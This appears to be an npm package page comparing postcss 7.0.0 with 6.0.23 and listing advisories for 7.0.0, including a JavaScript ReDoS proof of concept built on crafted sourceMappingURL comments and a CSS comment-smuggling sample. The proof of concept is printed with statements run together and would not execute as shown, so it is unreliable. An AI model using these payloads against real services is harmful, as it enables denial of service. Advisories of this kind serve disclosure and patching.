PostCSS is a popular tool for transforming CSS with JavaScript plugins, offering developers a powerful way to automate tasks like vendor prefixing, future CSS syntax adoption, and code optimization. Examining versions 7.0.0 and 6.0.23 reveals subtle but important improvements. Both versions share core dependencies, including chalk for terminal styling, source-map for debugging, and supports-color for color support detection. They are both licensed under the MIT license and authored by Andrey Sitnik.
However, postcss@7.0.0, released in July 2018, shows a slight reduction in unpacked size (606560 bytes) with one less file (37 files) compared to the previous stable version postcss@6.0.23 (658430 bytes and 38 files), released in June 2018. This suggests internal optimizations or a streamlining of the codebase. While the core functionality seems largely unchanged from a dependency perspective, the smaller size could translate to faster install times and potentially improved performance, representing a marginal, but welcomed, advantage for developers building CSS workflows. Developers should consider upgrading to version 7.0.0 for the slight performance and size advantages, keeping in mind to test their plugin ecosystem for full compatibility as with any major version upgrade.
All the vulnerabilities related to the version 7.0.0 of the package
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
Regular Expression Denial of Service in postcss
The npm package postcss from 7.0.0 and before versions 7.0.36 and 8.2.10 is vulnerable to Regular Expression Denial of Service (ReDoS) during source map parsing.
PostCSS line return parsing error
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r discrepancies, as demonstrated by @font-face{ font:(\r/*);} in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.